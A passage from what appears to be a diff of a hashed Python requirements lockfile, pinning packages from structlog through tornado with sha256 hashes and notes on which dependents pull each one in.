--hash=sha256:06eec42d682fdb09fe5d70a05930857efb141754ec5a5056a03304c1b5e32fd9 \ + --hash=sha256:0f52ef0f0b63b8fd11e1ef1c2a1e73a410720b8715c9a83a26d733b6815597fe \ + --hash=sha256:109012088b3e370080846ab053c76d125268631410142daad2f8c10770e8e8d9 \ + --hash=sha256:151b73e29f01fe619dbce7f66d61a356e9d1fe5e906529b78807df9189c37721 \ + --hash=sha256:19b58cf7474aa9e7e3b0771a66537148b2df9b5884fbf156096c0e6c1ff0469d \ + --hash=sha256:26d4f0ed3b31f3c86f83a92f5c1f5cbe63fc992cd8915daf28ca49be14463a1c \ + --hash=sha256:2738a00fca51196f5a7d44b06970ace6b8b30289839e4808d656f8a98e35faa7 \ + --hash=sha256:3414e40c073d725007a6603a18247ab7af3467e1af4a5e5a24e4c27bc26673b4 \ + --hash=sha256:341fa68a7403e10a95c7b6e41134b0da3a7b835ecff1eb266294408535a06eb6 \ + --hash=sha256:3bef39f8587754f2d644b2e831e102fa08ace9a5a1af4b583b122e6fd3e083ab \ + --hash=sha256:47ee7af083623d2091954fa71c7549b8443168f41b7c5dce66510274c50fd73e \ + --hash=sha256:4d0c1b0f9f6915619e2a0d3853e5763d4d66876892ad352e7d7b93a737556978 \ + --hash=sha256:4d17873d3e607d398b85126cd4ed7aad89e4e9d89fc744cdab1af3189a996c2a \ + --hash=sha256:6ad5c2810fc6c684254a7792bf1cbaf1606cdee2a253f8bd259c43135d87cfb4 \ + --hash=sha256:730f3297b26749b216a06e4327fe0be59b8d05f7d594fb6caff4287b69654589 \ + --hash=sha256:73f305fbf31607b35ce919fae636ab8b80d175328ed38fdc6f354e813b86ee37 \ + --hash=sha256:8021271a79f35b842c02a1794465a651a9d06ec2080f76ebc3b7adce77d08233 \ + --hash=sha256:81e7dcc5e9587f2567e52deaff5220b175bf2f648951549eae5fc9383b62bc37 \ + --hash=sha256:89ee7d595f5939cc20bf946faedcb5137d975f03ae080f300ebb4398f16a5bd4 \ + --hash=sha256:9e0fc891d6358bf376cc0ae1fee10a650478172ae9ba359daba1785fc496cd1a \ + --hash=sha256:9e8d2e519852adb1b420e018f5ac6e6684b2b877478adf7fda2cfdb58f5acb5d \ + --hash=sha256:a3764ba8195c9baf0925a96da0743ff218067a269f01d155ca3558deed2658ca \ + --hash=sha256:a518d3f9889ef920116f9fa56d0338069e110f823926356946dae83bc9e33e19 \ + --hash=sha256:aa60d82e29fcd0a736e86feb63a11d2380322d77a9369a54be8b0965a3985f71 \ + --hash=sha256:b328eafa86a2a67303fdb1d25677d15b70cd2a5229aabec7670ec5ea840f1375 \ + --hash=sha256:b5eb07acd115aa6208b4058211138393a7e6c2cf12b6f213ede10f658f6a714f \ + --hash=sha256:bdf1dfe2a3ca56f5529118baf33a13efed2783c528f4a36409b46bbd2d9d48eb \ + --hash=sha256:d8c00a42863e4f4733ac9d078bbfad816249c01451740e6f5053ecc7db6d6368 \ + --hash=sha256:e443e7077a6e2d3faeea72f5a92c9f12c63722686eb80bb40a0f04e4a7e267ad \ + --hash=sha256:e83a9abe653835da3b37fb6ae04b45480c1de11b3134bd40b09717192a1456ea \ + --hash=sha256:e93bd5d220f3cb6fc5fc1bffd5b094966cab8ee99f6c57c02e95710513d6ac3f \ + --hash=sha256:f1c08befa85e93acc992b72a390ddb7bd876190f1360e61d10cf43833463bc9c \ + --hash=sha256:f4ff0649a2df674c7ffb6fa1a06bffdb82a6adf09a48e90e000a15a6aaa734b0 \ + --hash=sha256:fe76140ae7adc5ff0e60a3f0d56f4fffef484efa803c3efebf2fcd734d72ecb5 + # via distfit +structlog==26.1.0 \ + --hash=sha256:e081a26d6c373e6d201eca24eede26d8ffab07f88f477822e679183428d3d91e \ + --hash=sha256:f63a716cbd1b1291cf7661de7794b455acfa4c43c5bcf1630e6ad5ddc1adb3b7 + # via semantica (pyproject.toml) +sympy==1.14.0 \ + --hash=sha256:d3d3fe8df1e5a0b42f0e7bdf50541697dbe7d23746e894990c030e2b05e72517 \ + --hash=sha256:e091cc3e99d2141a0ba2847328f5479b05d94a6635cb96148ccb3f34671bd8f5 + # via torch +tabulate==0.10.0 \ + --hash=sha256:e2cfde8f79420f6deeffdeda9aaec3b6bc5abce947655d17ac662b126e48a60d \ + --hash=sha256:f0b0622e567335c8fabaaa659f1b33bcb6ddfe2e496071b743aa113f8774f2d3 + # via docling-core +tenacity==9.1.4 \ + --hash=sha256:6095a360c919085f28c6527de529e76a06ad89b23659fa881ae0649b867a9d55 \ + --hash=sha256:adb31d4c263f2bd041081ab33b498309a57c77f9acf2db65aadf0898179cf93a + # via + # google-genai + # instructor +terminado==0.18.1 \ + --hash=sha256:a4468e1b37bb318f8a86514f65814e1afc977cf29b3992a4500d9dd305dcceb0 \ + --hash=sha256:de09f2c4b85de4765f7714688fff57d3e75bad1f909b589fde880460c753fd2e + # via + # jupyter-server + # jupyter-server-terminals +thinc==8.3.13 \ + --hash=sha256:0355c37e40d1a9fc2a1b8e9c2e294d8586f6baa97bcac6b9002f2dddb4b82ae9 \ + --hash=sha256:0a0fa13dcfe4b319c3a396432c1dbff30d3de37dbbdee559e76600ee2b9486df \ + --hash=sha256:11754fada9ad5ba2e02d5f3f234f940e24015b82333db58372f4a6aedad9b43f \ + --hash=sha256:303477eb51b9b39c94a7fc7967ee8a039eca1ca37d95dcce1234c83b95b4ee9f \ + --hash=sha256:3710d318b4e5460cf366a6f7b5ddbefb5d39dbd4cfa408222750fdc6c27c4411 \ + --hash=sha256:3dac18a0fb0a42f711c2ce9c02cbb090385aecae92089aa17b9dfd808a542013 \ + --hash=sha256:433e3826e018da489f1a8068e6de677f6eff3cc93991a599d90f12cd1bc26cdc \ + --hash=sha256:4565102638038a01a2193c7f5d41ccbd6233fbdcb1f1b184322a06add4f51f18 \ + --hash=sha256:4b5ec9ff313819e7d8667794a3559463fa89ff45aaa73e3fd8d6273b1e0d7a7f \ + --hash=sha256:5593e6300cb1ebe0c0e546e9c9fb49e7c2627a0aa688795cd4f995a8b820d2ec \ + --hash=sha256:565300b7e13de799e5abff00d445f537e9256cf7da4dcb0d0f005fc16748a29e \ + --hash=sha256:5a08c87143a6d20177652dca1ec0dc815d88216d8fc62594a57e8bc45bf5ed49 \ + --hash=sha256:5c9a48f2bc1e04f138240ed5f9b815a9141a5de26accd0f08fa0137fcefed258 \ + --hash=sha256:68e658549fc1eb3ff92aed5147fcbb9c15d6e9cc0e623b4d0998d16522ffb4f9 \ + --hash=sha256:723949cab11d1925c15447928513a718276316cec6e0de28337cca0a62be0521 \ + --hash=sha256:77a41f66285321d20aaedaea1e87d7cd48dca6d2427bed1867ec7cba7109fc8d \ + --hash=sha256:79a29a44d76bd02f5ac0624268c6e42b3576ae472c791a8ae9c2d813ae789b59 \ + --hash=sha256:7a99d0e242d1ccd23f9ae6bea7cd502f8626efa65c156b91d84581d0356696c3 \ + --hash=sha256:7badb0be4825535e6362c19e8a41872b65409e9da46d3453a391b843a0720865 \ + --hash=sha256:81337dfbee37f58f36c0c70f9a819dce1b32cdc13d959181e10de079621f6ac6 \ + --hash=sha256:84fb50fe572a1860165f2e7a640c7cb70d43d6962366e69f643fa9a27e4a2127 \ + --hash=sha256:859fbd9d9b16af5278da23589b4afbe2ab6b0dd615df4d3229b7c4e67cd3107e \ + --hash=sha256:8ad40307f20e83f77af28ff5c6be0b86af7a8b251d1231c545508d2763157d8f \ + --hash=sha256:a518d5c761a0f2341e530e867de133dc3ed814558365b2a68ec53b89c482a43f \ + --hash=sha256:a61a31fd0ce3c2771cf4901ba6df70e774ffe32febf1024c5b43d63575cd58fe \ + --hash=sha256:ba8119daf84a12259ae4d251d36426417bafa0b34108890b4b7e2b50966bd990 \ + --hash=sha256:c17cef1900a1aba7e1487493d16b8aa0a8633116f1b2a51c6649a4000697f17b \ + --hash=sha256:c2811dfd8d46d8b5d3b39051b23e64006b2994a5143b1978b436938018792af8 \ + --hash=sha256:c6a049703a6011c8fe26ee41af7e70272145594140d82f79bb23de619c6a6525 \ + --hash=sha256:cd8a2b714c061969eee65802965167a6ada1fe708d82fe176d98dcb95ebe182a \ + --hash=sha256:d7a9654f9ca362a4be7f5e590fdfee26e2e2084da9fd3306032ec037e99f2f8e \ + --hash=sha256:e08b1577a56e7315770af280aabd8fa5f2a1fb6afd1c50a4183c06e907faf558 \ + --hash=sha256:e1f8d13bf92ee10595c40692fd4cf8e7bbe73bd9f260107e975fd5dbee1af42b \ + --hash=sha256:e676edd21a747afbe3e6b9f3fca8b962e36d146ded03b070cb0c28e2dfbe9499 \ + --hash=sha256:e7f046d8914055cad51e83ff0da1a892acb73cd58556d7c1a5d4015a3766a899 \ + --hash=sha256:e9c7c5c104737b414c8c4ec578e67d78b6c859afe25cbc0684402e721415bd7f \ + --hash=sha256:ed1dc709ac4f2f03b710457889e4e02f05de51bc8456980c241d0b28798bc7cb \ + --hash=sha256:f4f26d1eec9b2a6a8f2e0298a5515d13eb06d70730d0d9e1040bb329e12bf3fb \ + --hash=sha256:f697174d3fb474966ce50b430bbafa101a6d2f7ffb559dac4b5c59389ef72d22 \ + --hash=sha256:fbc0ee16edd260c6a4a9e365ff36d0a682c9e7ca6d7b985682659ef2e3e73826 + # via spacy +threadpoolctl==3.6.0 \ + --hash=sha256:43a0b8fd5a2928500110039e43a5eed8480b918967083ea48dc3ab9f13c4a7fb \ + --hash=sha256:8ab8b4aa3491d812b623328249fab5302a68d2d71745c8a4c719a2fcaba9f44e + # via scikit-learn +tiktoken==0.13.0 \ + --hash=sha256:059c8ecf554eb5b41e6e054ba467b871b03277d267dee7244380aca4359747d4 \ + --hash=sha256:115c4f26ffa11caac8b54eea35c2ad38c612c20a48d35dd15d70a02ac6f51f58 \ + --hash=sha256:125bc05005e747f993a83dc67934249932d6e4209854452cd4c0b1d53fba3ba2 \ + --hash=sha256:165cf1820ea4a354985c2490a5205d4cc74661c934aca79dd0368232fff94e0f \ + --hash=sha256:2a3b536c55802fe42f4b4644d2be4f04bf788506b48de0a0a658cb58f8bce232 \ + --hash=sha256:2b920b35805cd64585a37c3dc7ce65fba4d2d36016be01e1d7942482ca29093a \ + --hash=sha256:2c397ddda233208345b01bd30f2fca79ff730e55731d0108a603f9bc57f6af3b \ + --hash=sha256:303f7d91b4fce3baddbcde05c139091d4caa5026ac7214c1dc7ff7a71ee429ff \ + --hash=sha256:32ac870a806cfb260a02d0cb70426aef02e038297f8ad50df5040bb5af360791 \ + --hash=sha256:32e0c12305105002c047b3bb1070b0dd9a73b0cb3b2856a8972b810e7a4f5881 \ + --hash=sha256:35e1ea1e0631c04f551297284a1ab7e1f65a3c55a9a48728d5e0f66b4527c04a \ + --hash=sha256:36217497eaffc158607a3b26f065300db2aefd43b115263f3b9688ce38146173 \ + --hash=sha256:3f277ebea5edd7b8bf03c6f9431e1d67d517530115572b2dc1d465326e8f88c7 \ + --hash=sha256:43cee3e5400573b2046fbf092cc7a5bc30164f9e4c95ce20714da929df48737a \ + --hash=sha256:44733b99bfd72b590cd0936b1c01b3b4dd73122db2d544bc1ceeb18a7678c910 \ + --hash=sha256:472527e9132952f2fbf77cd290658bacf003d4d5a3fabc18e5fbd407cbae4d9b \ + --hash=sha256:477c9a38e20d0ed248090509acf1e839ad3967a4f00b4b0f958210049f656dee \ + --hash=sha256:47b1df8d73390a24f94980c75158cdd5c56d256f16d55f30cb49c230caba9ba4 \ + --hash=sha256:493af3aa28a4aaf2e3d2600a2ee717252c9bf5ab38fff94eb5a02db5ab77e5ad \ + --hash=sha256:4d9980f11429ed2d737c463bb1fb78cf330caa026adf002f714aced7849a687b \ + --hash=sha256:4e2f67d27c9626cdd25fe33d9313c5cdb3d8d82da646b68d6eb8e7e9c20e6448 \ + --hash=sha256:51384448aa508e4df84c0f7c1dc3211c7f7b8096325660ee5fc82f3e11b381ce \ + --hash=sha256:5ba5fd62507a932d1241346179e3b39bc7bf7408f03c272652d93b3bedf5db24 \ + --hash=sha256:5cb65b60b9408563676d874a3a4ee573370066f0dc4e29d84e82e989c6517424 \ + --hash=sha256:5d48843bee149630eb735a99e1f4a85b47308d21868ea63163f6e87768d3cfed \ + --hash=sha256:5df5d1507bd245f1ccad4a074698240021239e455eb0bb4ced4e3d7181872154 \ + --hash=sha256:5e6358911cab4adee6712da27d65573496a4f68cf8a2b5fca6a4ad10fc5748cf \ + --hash=sha256:6644c9c2b5cf3916f5a3641d7d12fdb3f006a7b3d9ff6acdaec44e29ab1ff91e \ + --hash=sha256:6b1615f0ff71953d19729ceb18865429c185b0a23c5353f1bbca34a394bf60f7 \ + --hash=sha256:6c43a675ca14f6f2749ba7f12075d37456015a24b859f2517b9beb4ef30807ec \ + --hash=sha256:6eb4a5bfbc6426938026b1a334e898ac53541360d62d8c689870160cc80abd67 \ + --hash=sha256:75ab9bc99fa020a4c283424590ecd7f3afd70c1c281cb3fa3192a6c3af9f9615 \ + --hash=sha256:7ab10f4a21c2999846940113f6dbd72e0fa06a24119feddd74cc47e85818e06d \ + --hash=sha256:7bfe1849caa65d1e1d9871817170ec497bbb7984e182012e1bdce72f66608cdb \ + --hash=sha256:7d40c6c5aab171dcd6eb8455bc567bde404bb9def60cdb8c1299cc782b242bb9 \ + --hash=sha256:7de52e3f566d19b3b11bd37eea552c6c305ad74081f736882bd44d148ed4c48d \ + --hash=sha256:85b78cc3a2c3d48723ca751fa981f1fedccd54194ca0471b957364353a898b07 \ + --hash=sha256:8f2d16e7a7c783ad81f36e457d046d1f1c8af70b22aec8a13238efe531977c41 \ + --hash=sha256:8fe806a50664e83a6ffd56cbd1e4f5dcc6cd32a3e7538f70dc38b1a271384545 \ + --hash=sha256:91c180fe255bd5a86d8316210d2833a1d4d33d026cd86a67812f4773743c8d26 \ + --hash=sha256:95097e4f89b06403976e498abf61a0ee73a7497e73fb599cb211d8197a054d91 \ + --hash=sha256:975cbd78d085d75d26b59660e262736dcaed1e35f8f142cd6291025c01d25486 \ + --hash=sha256:9b842981fa91accdffd48ff6408a977b7a91c3fbda55d353c3c68114d5c9d69e \ + --hash=sha256:9b8858b29804b3a0add25ce9e62fb00f89f621dc754d75d03ca419d17e8ddf67 \ + --hash=sha256:a116178fa7e1b4065bff05214360373a65cac22f965be7b3f73d00a0dbfe7649 \ + --hash=sha256:a2937ad042d49d50eac6e1ba07c5661d4bd3942a5b1e0c0d08475c4df83676e1 \ + --hash=sha256:b8ac2d6420ff05841a89ba5205c6d45f56c4f6843454f3c884b7eb1a2a8dddb2 \ + --hash=sha256:b967dfb9d0adf9a631953b1b40717684f04478270fc51bbccdd2f838d67a2f00 \ + --hash=sha256:c9435714c3a84c2319499de9a300c0e604449dd0799ff246458b3bb6a7f433c1 \ + --hash=sha256:ca8b310bd93b3772cb1b7922d915446864860f562bdfe4825c63a0aed3fb28cd \ + --hash=sha256:cb99cb5127449f58d0a2d5f5ccfb390d8dbdfd919c221246caaee29d8725ed51 \ + --hash=sha256:d108bc2d470fc53c8ecd24f2c0fd2b5f98c33e87cdb6aa2e9b8c5dced703d273 \ + --hash=sha256:da86f8c96ac1c235d7a3b3eebff1eacfdbcfb8ad792706943268d4d2938fbafe \ + --hash=sha256:e28157350f7ebf35008dd8e9e0fdb621f976e4230c881099c85e8cf07eaa50e2 \ + --hash=sha256:eaaaef47c2406277181d2086484c317bf7fc433e2d5d03ff94f56b0dcec87471 \ + --hash=sha256:ed5a30027cb4d8c7ca8b273d4766f3db3cf58fad9e9f3b1a68a351ffb54873d5 \ + --hash=sha256:fc1c44cd37b43fc46bae593129164f4f281e82ea116b57a85aa81bda57eafc94 + # via + # semantica (pyproject.toml) + # litellm +tinycss2==1.5.1 \ + --hash=sha256:3415ba0f5839c062696996998176c4a3751d18b7edaaeeb658c9ce21ec150661 \ + --hash=sha256:d339d2b616ba90ccce58da8495a78f46e55d4d25f9fd71dfd526f07e7d53f957 + # via bleach +tokenizers==0.22.2 \ + --hash=sha256:143b999bdc46d10febb15cbffb4207ddd1f410e2c755857b5a0797961bbdc113 \ + --hash=sha256:1a62ba2c5faa2dd175aaeed7b15abf18d20266189fb3406c5d0550dd34dd5f37 \ + --hash=sha256:1c774b1276f71e1ef716e5486f21e76333464f47bece56bbd554485982a9e03e \ + --hash=sha256:1e418a55456beedca4621dbab65a318981467a2b188e982a23e117f115ce5001 \ + --hash=sha256:1e50f8554d504f617d9e9d6e4c2c2884a12b388a97c5c77f0bc6cf4cd032feee \ + --hash=sha256:2249487018adec45d6e3554c71d46eb39fa8ea67156c640f7513eb26f318cec7 \ + --hash=sha256:25b85325d0815e86e0bac263506dd114578953b7b53d7de09a6485e4a160a7dd \ + --hash=sha256:29c30b83d8dcd061078b05ae0cb94d3c710555fbb44861139f9f83dcca3dc3e4 \ + --hash=sha256:319f659ee992222f04e58f84cbf407cfa66a65fe3a8de44e8ad2bc53e7d99012 \ + --hash=sha256:369cc9fc8cc10cb24143873a0d95438bb8ee257bb80c71989e3ee290e8d72c67 \ + --hash=sha256:37ae80a28c1d3265bb1f22464c856bd23c02a05bb211e56d0c5301a435be6c1a \ + --hash=sha256:38337540fbbddff8e999d59970f3c6f35a82de10053206a7562f1ea02d046fa5 \ + --hash=sha256:473b83b915e547aa366d1eee11806deaf419e17be16310ac0a14077f1e28f917 \ + --hash=sha256:544dd704ae7238755d790de45ba8da072e9af3eea688f698b137915ae959281c \ + --hash=sha256:64d94e84f6660764e64e7e0b22baa72f6cd942279fdbb21d46abd70d179f0195 \ + --hash=sha256:753d47ebd4542742ef9261d9da92cd545b2cacbb48349a1225466745bb866ec4 \ + --hash=sha256:791135ee325f2336f498590eb2f11dc5c295232f288e75c99a36c5dbce63088a \ + --hash=sha256:9ce725d22864a1e965217204946f830c37876eee3b2ba6fc6255e8e903d5fcbc \ + --hash=sha256:a6bf3f88c554a2b653af81f3204491c818ae2ac6fbc09e76ef4773351292bc92 \ + --hash=sha256:bfb88f22a209ff7b40a576d5324bf8286b519d7358663db21d6246fb17eea2d5 \ + --hash=sha256:c9ea31edff2968b44a88f97d784c2f16dc0729b8b143ed004699ebca91f05c48 \ + --hash=sha256:df6c4265b289083bf710dff49bc51ef252f9d5be33a45ee2bed151114a56207b \ + --hash=sha256:e10bf9113d209be7cd046d40fbabbaf3278ff6d18eb4da4c500443185dc1896c \ + --hash=sha256:f01a9c019878532f98927d2bacb79bbb404b43d3437455522a00a30718cdedb5 + # via + # semantica (pyproject.toml) + # fastembed + # litellm + # sentence-transformers + # transformers +toml==0.10.2 \ + --hash=sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b \ + --hash=sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f + # via semantica (pyproject.toml) +tomli==2.4.1 \ + --hash=sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853 \ + --hash=sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe \ + --hash=sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5 \ + --hash=sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d \ + --hash=sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd \ + --hash=sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26 \ + --hash=sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54 \ + --hash=sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6 \ + --hash=sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c \ + --hash=sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a \ + --hash=sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd \ + --hash=sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f \ + --hash=sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5 \ + --hash=sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9 \ + --hash=sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662 \ + --hash=sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9 \ + --hash=sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1 \ + --hash=sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585 \ + --hash=sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e \ + --hash=sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c \ + --hash=sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41 \ + --hash=sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f \ + --hash=sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085 \ + --hash=sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15 \ + --hash=sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7 \ + --hash=sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c \ + --hash=sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36 \ + --hash=sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076 \ + --hash=sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac \ + --hash=sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8 \ + --hash=sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232 \ + --hash=sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece \ + --hash=sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a \ + --hash=sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897 \ + --hash=sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d \ + --hash=sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4 \ + --hash=sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917 \ + --hash=sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396 \ + --hash=sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a \ + --hash=sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc \ + --hash=sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba \ + --hash=sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f \ + --hash=sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257 \ + --hash=sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30 \ + --hash=sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf \ + --hash=sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9 \ + --hash=sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049 + # via coverage +torch==2.13.0 \ + --hash=sha256:024c6cc0c1b085f2f91f20a3dc27b0471d021c31ce84b81be3afdc39f791fd9d \ + --hash=sha256:092790c696a760c729fd5722835f50b9d81fd7c8f141571f3f3cf4081a8f664c \ + --hash=sha256:0ab4b69f3ee03a62a002cfbf77b1ca5e88aceb4ea64cb4388bb28f638ddbb045 \ + --hash=sha256:1e09d6a722504957c694faceca843acde562786df1144ebcc5a74075ec7f6005 \ + --hash=sha256:2bd30b6b730d987fa386ce3898933762c5cb8cc82eb0535211d787cc3ce2dfeb \ + --hash=sha256:2fe228aba290d14b9f31b049be550dbd469c3fd3013d7a19705b30454da97027 \ + --hash=sha256:31061ff56ed8fbf26c749806905aeb749ebeb819810fd5d52508aa5afd90dddc \ + --hash=sha256:33449899ce5496c1b84b4853179d94fd102028ae1407314d9fb956bb79e70d09 \ + --hash=sha256:49b58f1e2c52440abb6f17c28f0335fe6c6d01ad1a7f55b0183b81e4b34d64e6 \ + --hash=sha256:49f1ea385c754e54919408a9bb3b5a72b0b755bbe2c916c1d6f70afbec4908a2 \ + --hash=sha256:4f8573e3ce9ebcd53fe922f01077a6085ccdfbe5f12fd215883a9d87d7a744fd \ + --hash=sha256:572df8be8ffb4599c88cbd6a0726f1f854f4da65d2e3c09f0e2c2283333cd6d4 \ + --hash=sha256:60fcdcb2f3876e21146cb4524ef06397d727ca9ad5f020818547e25075fe3cb7 \ + --hash=sha256:796633c4cdf0fe2cdced72d8f88f22e73dbcfce83132763162f6d4bff13b820b \ + --hash=sha256:94f0de129916f77b8dc2c7a8eff644cfeddfe59e39c9f55e9f6e17543410281d \ + --hash=sha256:a0d8b11f16a48d60e2015d8213aa0390744cbebb98e58b62b3514dddc656e330 \ + --hash=sha256:a3893dc2da0a972a8ca5d698c85a9f967559ac5f8ee1797b77408aa8734d073c \ + --hash=sha256:a3a9a21312872af8a26950b2c15680335a386a1f56ed03e780653d78b9607e9e \ + --hash=sha256:a7de8a313090dc5c7d7ba4bfe5c3be222528f9a4dba1acc83bddb1157360c4b8 \ + --hash=sha256:c28def70706c2f9ecc752574766e8ae4da9b810ab6676b611166761a78a9f1e1 \ + --hash=sha256:c78b7b4d04461855a764cf01bae9a462bb88bc93defcfa11235cbc8fdf3e12c4 \ + --hash=sha256:cc26eead4cf51d0b544e31e364dcf000846549c273bd148936fe9d24d29acb92 \ + --hash=sha256:d849b390e07d8d333ce8ecaf91b273c656c598379a19c9acf1318a883f6b391c \ + --hash=sha256:e76f9bcecc52b8ff711239a2f7547d5353df95878ab232f0773c1d95928b92f8 + # via + # semantica (pyproject.toml) + # accelerate + # docling-ibm-models + # docling-slim + # safetensors + # sentence-transformers + # torchvision +torchvision==0.28.0 \ + --hash=sha256:028a3d481b37d785605620d7cdad897064c5a55bae2aa1f2658766333e291940 \ + --hash=sha256:09ce8f56e81f19b9c378ae7bb109f83f6659fd8bc3cd14241a48e4af46e9ed49 \ + --hash=sha256:2a1ef4b6f4bf5828b48cfad97372c8982db906830884b2868ba5c3df937a7d81 \ + --hash=sha256:3557cc7b539f46dabcda2b6f2b14017ccbeef024de466d4fc5835fc3f287f769 \ + --hash=sha256:36beb0782976906069ca03d4c9aacaf4b6b838b06ed6c20960ea9c51cce7acdd \ + --hash=sha256:3bd9dba55224a9db4a2d77f6feaa5651770d8c8e86d3d0ddb0fa6bec54c8712b \ + --hash=sha256:46f581979c010ad6da6bd85ee602aa707e1ff44312670223b7a0ee517ad06d47 \ + --hash=sha256:546fd85345cf8652f6cd099d4f9884b0ca5c2f3fae78689a21dd2f35ea6b622f \ + --hash=sha256:5a38bc6da3d72621be003400b66f66a2b4c6d644fde05f680c2cb7ca8cf8dd6c \ + --hash=sha256:5cf78ebc401ce64ae19b8c55de866bb836797d559a4de9c25ccbe74cfa642d3a \ + --hash=sha256:62c7d110f86a039245b587e4fae60278c649f3bd42ff79cfbc1178eca4e72542 \ + --hash=sha256:6dfb0f45e2b4ceb4e76f158c3fbb5f44387099f3c466e3423a09ab665a194aba \ + --hash=sha256:7e80f543b22503d9415e126db5f0ff3917036925e38560ee6b9ae38c571a4002 \ + --hash=sha256:7e9dd6f60d6e15f8dc27d4f877fdb6002fc70d70272412135f1c2ff9cfa08d3b \ + --hash=sha256:7fad44dc9582570c7d92c4487d36ac46998f40cc39b438e8b8f5111a935ce4e8 \ + --hash=sha256:83fe6c020866a85acd7d97deccc45ff11d66daf42916d04396a4309c66c0ccb8 \ + --hash=sha256:87dc16b2df427c1318ad335f1e2be2b3b15b2cf20f7934c83b0505a48425ee5d \ + --hash=sha256:89f90e29b0966352811b12589f3a3c61943bf2bb9487b9d7bbec10efb1096bb5 \ + --hash=sha256:904cf89af220f8c6b2ed0296bb5065b474ce43b77558e48b2bf9de8b0ba17204 \ + --hash=sha256:9a45ea67235d965ef52187130d20002a4de20c54ea3d927a24286961d268dc37 \ + --hash=sha256:ad7b3a439265cc3739a4ab5b4c998c0e38ea99c0ee7ca4dea35c5d0b099ec237 \ + --hash=sha256:bb6dd6918460ed89cc7644adcc2402991474d6933cf1ce92b390641cb233fddf \ + --hash=sha256:d483b4aa3f5237569053f749cd1a2b5bb548ca456e40461a5dd087f21149d123 \ + --hash=sha256:e9f54c30cd52e3ef7fd034cc69b7bb7e0964e1c8f8743e018ab92e95b40f9eee + # via + # docling-ibm-models + # docling-slim +tornado==6.5.8 \ + --hash=sha256:11881db6b7c168494be2c2d12e65931451bdf7ee718535418ae1d8855dd5a0ee \ + --hash=sha256:547d63f450d570c14fe0e8db2cfb14c9bbd1c2503b4a6612586267955aa47b58 \ + --hash=sha256:5d242290bdf7ab3151bc1065fdd75c0dcc21cbc7b49f22a4c56329c2d6566d22 \ + --hash=sha256:67832909c4779c64942380cb5f044a5c6163d00831472d80e25e115de9917836 \ + --hash=sha256:68a7468c7e289f8514d7d664101753903217eff1bb6822c6b5994a0b5f5bcb26 \ + 